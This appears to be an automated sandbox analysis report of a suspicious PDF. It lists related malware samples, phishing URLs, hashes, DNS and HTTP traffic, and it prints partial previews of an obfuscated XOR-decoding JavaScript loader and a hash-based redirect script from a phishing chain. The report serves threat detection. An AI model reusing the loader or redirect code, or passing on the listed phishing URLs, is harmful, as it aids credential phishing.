	original (5).eml	Get hash	malicious	Unknown	Browse	23.209.72.9
	https://publuu.com/flip-book/830106/1826131	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	23.209.72.9

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Quote Press Cushion Pad.vbs	Get hash	malicious	Unknown	Browse	104.21.32.1
	Order Specifications for Materials.docx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	Quote Press Cushion Pad.vbs	Get hash	malicious	Unknown	Browse	104.21.64.1
	aramco requesting quotation.exe	Get hash	malicious	FormBook	Browse	104.21.27.203
	7kiB1yyHXx.exe	Get hash	malicious	Python Stealer, CStealer	Browse	104.26.2.16
	4QawXk8q9g.exe	Get hash	malicious	44userber Stealer, BlackGuard, Rags Stealer	Browse	104.21.80.1
	SecuriteInfo.com.Win32.Evo-gen.4219.20205.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.221.138
	ZvmRwchN1S.ps1	Get hash	malicious	Vidar	Browse	172.66.44.75
	https://rebrand.ly/9c523d	Get hash	malicious	HTMLPhisher	Browse	104.21.26.223
	https://www.google.com/url?q=https://script.google.com/macros/s/AKfycbwxftuQ7ZS_Q9HCOM3lxGxmfnElnrQwDC6TYWu2VrzDQVHeafFLOaCEnW-QBgCLdZqNJg/exec	Get hash	malicious	Unknown	Browse	104.16.123.96
GITHUBUS	ThePredictor8.5.7.msi	Get hash	malicious	PureCrypter, AsyncRAT, Clipboard Hijacker, MicroClip	Browse	140.82.112.3
	ThePredictor8.5.7.msi	Get hash	malicious	PureCrypter, AsyncRAT, Clipboard Hijacker, MicroClip	Browse	140.82.113.3
	https://adclick.g.doubleclick.net/pcs/click?Y41515N2435yMX419snVO7695-2024-McWAN324SCAN&adurl=https://adclick.g.doubleclick.net/pcs/click?Y41515N2435yMX419snVO7695-2024-McWAN324SCAN&adurl=https://2025_tax_compliance_team_x1Update_Tax_Review.fmhjhctk.ru%2FaNAtEaDInodo/#0jensors@unitdr0ad.com	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.113.3
	original (1).eml	Get hash	malicious	unknown, Invisible JS, Tycoon2FA	Browse	140.82.112.3
	Listen_mp3 (1).svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.113.3
	Revised - Bcs 2025 Handbook21920.doc	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.3
	Bootstrapper.exe	Get hash	malicious	SheetRat	Browse	140.82.114.5
	Bootstrapper.exe	Get hash	malicious	SheetRat	Browse	140.82.114.3
	http://34a.trimarypol.ru/BTzbeX4U/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.114.4
	RuntimeBroker.exe	Get hash	malicious	Unknown	Browse	140.82.114.4
FASTLYUS	minaUSB	Get hash	malicious	Unknown	Browse	151.101.67.6
	.BC.T_nlroYH.278.dr	Get hash	malicious	Unknown	Browse	151.101.67.6
	minaUSB	Get hash	malicious	Unknown	Browse	151.101.195.6
	https://rebrand.ly/9c523d	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	na.elf	Get hash	malicious	Prometei	Browse	199.232.38.49
	na.elf	Get hash	malicious	Prometei	Browse	199.232.90.49
	ThePredictor8.5.7.msi	Get hash	malicious	PureCrypter, AsyncRAT, Clipboard Hijacker, MicroClip	Browse	185.199.108.133
	ThePredictor8.5.7.msi	Get hash	malicious	PureCrypter, AsyncRAT, Clipboard Hijacker, MicroClip	Browse	185.199.108.133
	Madelainechocolate pay increase 2025 .svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.130.137
	https://adclick.g.doubleclick.net/pcs/click?Y41515N2435yMX419snVO7695-2024-McWAN324SCAN&adurl=https://adclick.g.doubleclick.net/pcs/click?Y41515N2435yMX419snVO7695-2024-McWAN324SCAN&adurl=https://2025_tax_compliance_team_x1Update_Tax_Review.fmhjhctk.ru%2FaNAtEaDInodo/#0jensors@unitdr0ad.com	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	185.199.109.133
CLOUDFLARENETUS	Quote Press Cushion Pad.vbs	Get hash	malicious	Unknown	Browse	104.21.32.1
	Order Specifications for Materials.docx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	Quote Press Cushion Pad.vbs	Get hash	malicious	Unknown	Browse	104.21.64.1
	aramco requesting quotation.exe	Get hash	malicious	FormBook	Browse	104.21.27.203
	7kiB1yyHXx.exe	Get hash	malicious	Python Stealer, CStealer	Browse	104.26.2.16
	4QawXk8q9g.exe	Get hash	malicious	44userber Stealer, BlackGuard, Rags Stealer	Browse	104.21.80.1
	SecuriteInfo.com.Win32.Evo-gen.4219.20205.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.221.138
	ZvmRwchN1S.ps1	Get hash	malicious	Vidar	Browse	172.66.44.75
	https://rebrand.ly/9c523d	Get hash	malicious	HTMLPhisher	Browse	104.21.26.223
	https://www.google.com/url?q=https://script.google.com/macros/s/AKfycbwxftuQ7ZS_Q9HCOM3lxGxmfnElnrQwDC6TYWu2VrzDQVHeafFLOaCEnW-QBgCLdZqNJg/exec	Get hash	malicious	Unknown	Browse	104.16.123.96

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.206825739925288
Encrypted:	false
SSDEEP:	6:iORUzq2PRN2nKuAl9OmbnIFUtDUo9Zmw9UoPkwORN2nKuAl9OmbjLJ:7RovaHAahFUtDt9/9tP5JHAaSJ
MD5:	7180DCE4031E8C863C6A9542DEBF5CD4
SHA1:	7F395E3A93C19C1C31E10B6134B5FC98637B1E84
SHA-256:	C9446B3D859460047CB42D13E1AC780594A02A5B83E88C6C3F938CA42690A313
SHA-512:	3F3CB4240AA270345E03CDC7E5380E975D73FFDFA8617E50D0003A4679EAAFE787F9222DBF2FD61F607D746EC89B5868DAF92EE751DFF6D8D5C4E7C600B958CC
Malicious:	false
Reputation:	low
Preview:	2025/04/01-01:39:21.897 1824 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/04/01-01:39:21.899 1824 Recovering log #3.2025/04/01-01:39:21.899 1824 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (17073), with CRLF line terminators
Category:	downloaded
Size (bytes):	22108
Entropy (8bit):	5.9251664989740425
Encrypted:	false
SSDEEP:	384:AOagIaLWNnrTmTNUoSlzbqZp6Tt6kbygb8HyAUpGmYL1iaflrflra:YHllCZ5kVbdGxflrflra
MD5:	4074C3FB37F43CA386DEAE6E2FC238C7
SHA1:	8FB6DDF5E879ED9A5CB57A2BF4623830728951FF
SHA-256:	6F63BF84769E5BFA309D89A1DE07B1A174953C512354B563EEC43B5267B57AF0
SHA-512:	C748C80996011662E71EBD38024F508B9EED97A3D08AA8DF2F0BC2C38F981301C3AFAF6AF616986F806D28622B971D582DE91028FA9116E08D749305C0EF49DD
Malicious:	false
URL:	https://86zv.vocalentr.ru/3JO93Fm/
Preview:	<script>..function gaeOmEUOpd(FiUqpdSEHK, UPqsdGakOu) {..let eMxoLFvvMd = '';..FiUqpdSEHK = atob(FiUqpdSEHK);..let yqZdSBvVTp = UPqsdGakOu.length;..for (let i = 0; i < FiUqpdSEHK.length; i++) {.. eMxoLFvvMd += String.fromCharCode(FiUqpdSEHK.charCodeAt(i) ^ UPqsdGakOu.charCodeAt(i % yqZdSBvVTp));..}..return eMxoLFvvMd;..}..var misYNzKnCS = gaeOmEUOpd(`WhAaEB0mGBgVRgVeWwoAIhxLXBtJABYGEXgGSRNRFBpXARs7Q1IXQQMRAE9HeFoWVhoLChdMHiVOBlobFQALCwQiUjVsCBUACwsEIkxLFFdbQREWACYfAkkbBQcXCAd4D1QJQQIFFQMGM0JbCVlJAhMDDHkAUQRHSQALGwQiAxUMR0lXV1NaZ0NbFE0WFxZPHiVCVQ9aSAkKQEpqQ0sFRg8TDVx5XGEyWkcFERASAGhhMghREUM/Fxo1GFEJWk4CDQ0WfktZMW0BKD5XHDIBVAhtPjEPAR1jX2Ixfg0AFA5GDDRxAVIuFB4GRjoZYiENVS8ULBw0K0A3VSElDAYzbxhxLkxeKjEGBDQBahBQH1YfATM+BFoIZhABKiBMMC96E20+OQk4RhBcWlV9EwchLBg1B34IbjFWSS4ZOhlhVExXOT40Dh0vciVQPikOKx09HHEuRyggECMTHy95AX0lIh4GRjoZYiENVS8UGgIPXn5WVTFaDCswZgtxC3IPAUo0RBkBchVtMVYLKx4lInsIBCggFDACD19uEm4xVkkuGRAHYiNiVDkuV0QCK1QcUCE1DDgsHwNxC0AKBi4wAjJeDA94JSEUBiNjBlwhWBABECMbDDRiClYIMgkrPCUiew91ASo6

File type:	PDF document, version 1.7, 0 pages
Entropy (8bit):	7.70565258548672
TrID:	Adobe Portable Document Format (5005/1) 100.00%
File name:	Employee Plan Selection.pdf
File size:	12'101 bytes
MD5:	d74bc9e1607a2e3343c0cc4c27e10472
SHA1:	e64ad2aa4c4ee4c4a7d9b8dde96b32093fa099ce
SHA256:	8019af33e158e82e5efe5d6585d67a1f06a8c01f343f591e9aa7abd63ddc1010
SHA512:	61c4786832ed35fc9130bb532b59600e0c09f2f03358af39cce59ad4307ba54343b7df325dc7b43a2ac43cb3418d721f56d4a6747a91cec349c24eeb41920ce7
SSDEEP:	192:bSM+gJ7v2bFCnvQdIjjgWSTJOrYPydX0ttttPJ2Ra7zAHX6OQLZSCy3pQQHbfo9u:3VJsFC0IjcxOd22Ra7zkX6OQLZSV3pQY
TLSH:	48424D6DB95E483CF8879CB48BA875198EBEB0230BE214471F0D4D44EF8CDB49362D99
File Content Preview:	%PDF-1.7.1 0 obj.<< /Type /Catalog./Outlines 2 0 R./Pages 3 0 R >>.endobj.2 0 obj.<< /Type /Outlines /Count 0 >>.endobj.3 0 obj.<< /Type /Pages./Kids [6 0 R.]./Count 1./Resources <<./ProcSet 4 0 R./Font << ./F1 8 0 R./F2 9 0 R.>>./XObject << ./I1 10 0 R./

General
Header:	%PDF-1.7
Total Entropy:	7.705653
Total Bytes:	12101
Stream Entropy:	7.863460
Stream Bytes:	9491
Entropy outside Streams:	5.136224
Bytes outside Streams:	2610
Number of EOF found:	1
Bytes after EOF:

Name	Count
obj	14
endobj	14
stream	6
endstream	6
xref	1
trailer	1
startxref	1
/Page	1
/Encrypt	0
/ObjStm	0
/URI	0
/JS	0
/JavaScript	0
/AA	0
/OpenAction	0
/AcroForm	0
/JBIG2Decode	0
/RichMedia	0
/Launch	0
/EmbeddedFile	0

ID	DHASH	MD5
10	0809434c6ad93d01	361d906b852b7a6ed0ea4572b2c34ce7
11	8c29896a88cc5206	a66659bac7ca951050c98a05928128df
12	644d6d355b696d89	f14a8a56e9f1ed1466c522bcd17202a8
13	0000000000000000	2f4a91be5989744c50d3d27b8e844c64
14	8090884944242402	4cab1d2ca9225d150f133ab7d913fcae

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 1, 2025 07:39:25.079210043 CEST	53	59106	1.1.1.1	192.168.2.16
Apr 1, 2025 07:39:25.086078882 CEST	53	52094	1.1.1.1	192.168.2.16
Apr 1, 2025 07:39:25.667743921 CEST	53	56175	1.1.1.1	192.168.2.16
Apr 1, 2025 07:39:26.040765047 CEST	53	58979	1.1.1.1	192.168.2.16
Apr 1, 2025 07:39:26.377110004 CEST	60509	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:39:26.377269983 CEST	57646	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:39:26.472485065 CEST	53	60509	1.1.1.1	192.168.2.16
Apr 1, 2025 07:39:26.473973989 CEST	53	57646	1.1.1.1	192.168.2.16
Apr 1, 2025 07:39:27.067859888 CEST	51854	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:39:27.067987919 CEST	62956	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:39:27.283282995 CEST	53	62956	1.1.1.1	192.168.2.16
Apr 1, 2025 07:39:27.322700977 CEST	53	51854	1.1.1.1	192.168.2.16
Apr 1, 2025 07:39:28.758528948 CEST	49358	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:39:28.758826017 CEST	52987	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:39:28.846174955 CEST	53	49358	1.1.1.1	192.168.2.16
Apr 1, 2025 07:39:28.846445084 CEST	53	52987	1.1.1.1	192.168.2.16
Apr 1, 2025 07:39:29.524768114 CEST	53	65130	1.1.1.1	192.168.2.16
Apr 1, 2025 07:39:29.627640009 CEST	56320	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:39:29.627800941 CEST	52424	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:39:29.728912115 CEST	53	56320	1.1.1.1	192.168.2.16
Apr 1, 2025 07:39:29.729034901 CEST	53	52424	1.1.1.1	192.168.2.16
Apr 1, 2025 07:39:30.156470060 CEST	62534	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:39:30.156610966 CEST	51489	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:39:30.240967035 CEST	53	62534	1.1.1.1	192.168.2.16
Apr 1, 2025 07:39:30.240986109 CEST	53	51489	1.1.1.1	192.168.2.16
Apr 1, 2025 07:39:34.267946959 CEST	65512	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:39:34.354262114 CEST	53	65512	1.1.1.1	192.168.2.16
Apr 1, 2025 07:39:43.023068905 CEST	53	58038	1.1.1.1	192.168.2.16
Apr 1, 2025 07:39:57.925872087 CEST	53	61069	162.159.36.2	192.168.2.16
Apr 1, 2025 07:40:02.037497997 CEST	53	60130	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:02.981931925 CEST	53	53792	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:05.564097881 CEST	54958	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:05.564244986 CEST	56030	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:05.737087011 CEST	53	56030	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:05.815983057 CEST	53	54958	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:06.790785074 CEST	59491	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:06.790944099 CEST	64358	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:06.884099960 CEST	53	59491	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:06.884119034 CEST	53	64358	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:07.554111958 CEST	64265	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:07.554312944 CEST	62389	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:07.650331020 CEST	53	64265	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:07.650352001 CEST	53	62389	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:08.369250059 CEST	54137	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:08.369473934 CEST	52048	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:08.453730106 CEST	53	54137	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:08.453876019 CEST	53	52048	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:11.086311102 CEST	49779	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:11.086648941 CEST	55061	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:11.089293957 CEST	50009	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:11.089422941 CEST	64612	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:11.170550108 CEST	53	49779	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:11.171931982 CEST	53	55061	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:11.211268902 CEST	53	50009	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:11.244116068 CEST	53	64612	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:11.630625010 CEST	56995	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:11.630785942 CEST	54709	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:11.724041939 CEST	53	56995	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:11.728566885 CEST	53	54709	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:14.490318060 CEST	49264	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:14.490505934 CEST	62207	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:14.522423983 CEST	54321	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:14.522888899 CEST	56506	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:14.576462030 CEST	53	49264	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:14.576472044 CEST	53	62207	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:14.619661093 CEST	53	54321	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:14.622442961 CEST	53	56506	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:16.083030939 CEST	63752	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:16.083211899 CEST	61139	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:16.085783005 CEST	52290	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:16.086021900 CEST	54151	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:16.181391954 CEST	53	63752	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:16.181407928 CEST	53	61139	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:16.288317919 CEST	53	52290	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:16.345201015 CEST	53	54151	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:17.537415028 CEST	63615	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:17.537533998 CEST	58621	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:17.545747995 CEST	49873	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:17.545912027 CEST	55763	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:17.628561020 CEST	53	63615	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:17.628576994 CEST	53	58621	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:17.636496067 CEST	53	49873	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:17.636790037 CEST	53	55763	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:19.076478004 CEST	60856	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:19.076740980 CEST	52919	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:19.161827087 CEST	53	60856	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:19.161840916 CEST	53	52919	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:24.844495058 CEST	53	62524	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:24.941137075 CEST	53	53781	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:30.157941103 CEST	50711	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:30.158076048 CEST	63530	53	192.168.2.16	1.1.1.1
Apr 1, 2025 07:40:30.245908022 CEST	53	50711	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:30.245924950 CEST	53	63530	1.1.1.1	192.168.2.16
Apr 1, 2025 07:40:40.223897934 CEST	138	138	192.168.2.16	192.168.2.255
Apr 1, 2025 07:40:55.354973078 CEST	53	55714	1.1.1.1	192.168.2.16

Timestamp	Bytes transferred	Direction	Data
Apr 1, 2025 07:39:34.445692062 CEST	115	OUT	GET / HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Microsoft-CryptoAPI/10.0 Host: x1.i.lencr.org
Apr 1, 2025 07:39:34.541788101 CEST	1031	IN	HTTP/1.1 200 OK Server: nginx Content-Type: application/pkix-cert Last-Modified: Fri, 04 Aug 2023 20:57:56 GMT ETag: "64cd6654-56f" Content-Disposition: attachment; filename="ISRG Root X1.der" Cache-Control: max-age=24237 Expires: Tue, 01 Apr 2025 12:23:31 GMT Date: Tue, 01 Apr 2025 05:39:34 GMT Content-Length: 1391 Connection: keep-alive Data Raw: 30 82 05 6b 30 82 03 53 a0 03 02 01 02 02 11 00 82 10 cf b0 d2 40 e3 59 44 63 e0 bb 63 82 8b 00 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 4f 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 29 30 27 06 03 55 04 0a 13 20 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 52 65 73 65 61 72 63 68 20 47 72 6f 75 70 31 15 30 13 06 03 55 04 03 13 0c 49 53 52 47 20 52 6f 6f 74 20 58 31 30 1e 17 0d 31 35 30 36 30 34 31 31 30 34 33 38 5a 17 0d 33 35 30 36 30 34 31 31 30 34 33 38 5a 30 4f 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 29 30 27 06 03 55 04 0a 13 20 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 52 65 73 65 61 72 63 68 20 47 72 6f 75 70 31 15 30 13 06 03 55 04 03 13 0c 49 53 52 47 20 52 6f 6f 74 20 58 31 30 82 02 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 02 01 00 ad e8 24 73 f4 14 37 f3 9b 9e 2b 57 28 1c 87 be dc b7 df 38 90 8c 6e 3c e6 57 a0 78 f7 75 c2 a2 fe f5 6a 6e f6 00 4f 28 db de 68 86 6c 44 93 b6 b1 63 fd 14 12 6b bf 1f d2 ea 31 9b 21 7e d1 33 [TRUNCATED] Data Ascii: 0k0S@YDcc0H0O10UUS1)0'U Internet Security Research Group10UISRG Root X10150604110438Z350604110438Z0O10UUS1)0'U Internet Security Research Group10UISRG Root X10"0H0$s7+W(8n<WxujnO(hlDck1!~3<Hy!KqiJffl~<p)"K~G\|H#S8Oo.IWt/8{p!u0<cOK~w.{JL%p)S$J?aQcq.o[\4ylv;by/&676urI*Av5/(ldwnG7Y^hrA)>Y>&$ZL@F:Qn;}rxY>Qx/>{JKsP\|Ctt
Apr 1, 2025 07:39:34.541846037 CEST	714	IN	Data Raw: 30 d4 5b 71 36 b4 07 ba c1 30 30 5c 48 b7 82 3b 98 a6 7d 60 8a a2 a3 29 82 cc ba bd 83 04 1b a2 83 03 41 a1 d6 05 f1 1b c2 b6 f0 a8 7c 86 3b 46 a8 48 2a 88 dc 76 9a 76 bf 1f 6a a5 3d 19 8f eb 38 f3 64 de c8 2b 0d 0a 28 ff f7 db e2 15 42 d4 22 d0 Data Ascii: 0[q600\H;}`)A\|;FHvvj=8d+(B"']ypN:'Qnd3COB0@0U0U00UyY{sXn0HUXPi ')au\ni/VKsY!

Timestamp	Bytes transferred	Direction	Data
2025-04-01 05:39:26 UTC	675	OUT	GET / HTTP/1.1 Host: www.amazingasseenontv.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 05:39:26 UTC	810	IN	HTTP/1.1 200 OK Date: Tue, 01 Apr 2025 05:39:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8%2FAFARzke%2B1idM%2FeyuWZZ8mIraYxO0g1TqWam3uwHcdSrlW%2BIdqUeN4whvstQbf2sE%2BI0LmKxn9gOv2Hhm9tTCx%2B9JN6iU5hkjx%2FxzxMagC3PoHTJiaqDCLArlPcEsIWKQKr2gX6Usm26hIi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9295befced27436e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=104424&min_rtt=100573&rtt_var=25258&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2855&recv_bytes=1247&delivery_rate=30385&cwnd=252&unsent_bytes=0&cid=55d8d0882e0421cd&ts=321&x=0"
2025-04-01 05:39:26 UTC	559	IN	Data Raw: 34 31 35 0d 0a 3c 73 63 72 69 70 74 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 3e 0a 66 75 6e 63 74 69 6f 6e 20 62 61 73 65 36 34 44 65 63 6f 64 65 55 72 6c 28 73 74 72 29 7b 0a 20 20 20 20 72 65 74 75 72 6e 20 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 61 74 6f 62 28 73 74 72 29 2e 73 70 6c 69 74 28 27 27 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 63 29 20 7b 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 27 25 27 20 2b 20 28 27 30 30 27 20 2b 20 63 2e 63 68 61 72 43 6f 64 65 41 74 Data Ascii: 415<scriptlanguage="javascript"><html lang="en"><head><meta charset="UTF-8"><title>Redirect</title><script>function base64DecodeUrl(str){ return decodeURIComponent(atob(str).split('').map(function(c) { return '%' + ('00' + c.charCodeAt
2025-04-01 05:39:26 UTC	493	IN	Data Raw: 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 69 66 20 28 68 61 73 68 2e 69 6e 63 6c 75 64 65 73 28 27 2f 27 29 29 20 7b 0a 20 20 20 20 20 20 20 20 75 72 6c 20 3d 20 62 61 73 65 36 34 44 65 63 6f 64 65 55 72 6c 28 68 61 73 68 2e 73 70 6c 69 74 28 27 2f 27 29 5b 30 5d 29 2b 68 61 73 68 2e 73 70 6c 69 74 28 27 2f 27 29 5b 31 5d 3b 20 2f 2f 20 49 66 20 6e 6f 74 2c 20 74 72 79 20 74 6f 20 62 61 73 65 36 34 20 64 65 63 6f 64 65 20 69 74 0a 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 75 72 6c 20 3d 20 62 61 73 65 36 34 44 65 63 6f 64 65 55 72 6c 28 68 61 73 68 29 3b 20 2f 2f 20 49 66 20 6e 6f 74 2c 20 74 72 79 20 74 6f 20 62 61 73 65 36 34 20 64 65 63 6f 64 65 20 69 74 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 7d 0a 0a 20 20 Data Ascii: else { if (hash.includes('/')) { url = base64DecodeUrl(hash.split('/')[0])+hash.split('/')[1]; // If not, try to base64 decode it } else { url = base64DecodeUrl(hash); // If not, try to base64 decode it } }
2025-04-01 05:39:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-01 05:39:27 UTC	706	OUT	GET /3JO93Fm/ HTTP/1.1 Host: 86zv.vocalentr.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://www.amazingasseenontv.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 05:39:28 UTC	1228	IN	HTTP/1.1 200 OK Date: Tue, 01 Apr 2025 05:39:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Cache-Control: no-cache, private Cf-Cache-Status: DYNAMIC Vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nmerv2lVwtfjFbryyg4IaknX6veHyYZhF9MKVjZ0GBxydctky1X6uZDg5Xc29Q7zh0v3FqpDwlcEmkAkpLRItdXKeDzmUU6RPpJUBo5vRvQ2Z78GugmOCy3HtyY1Z7Sh826W"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server-Timing: 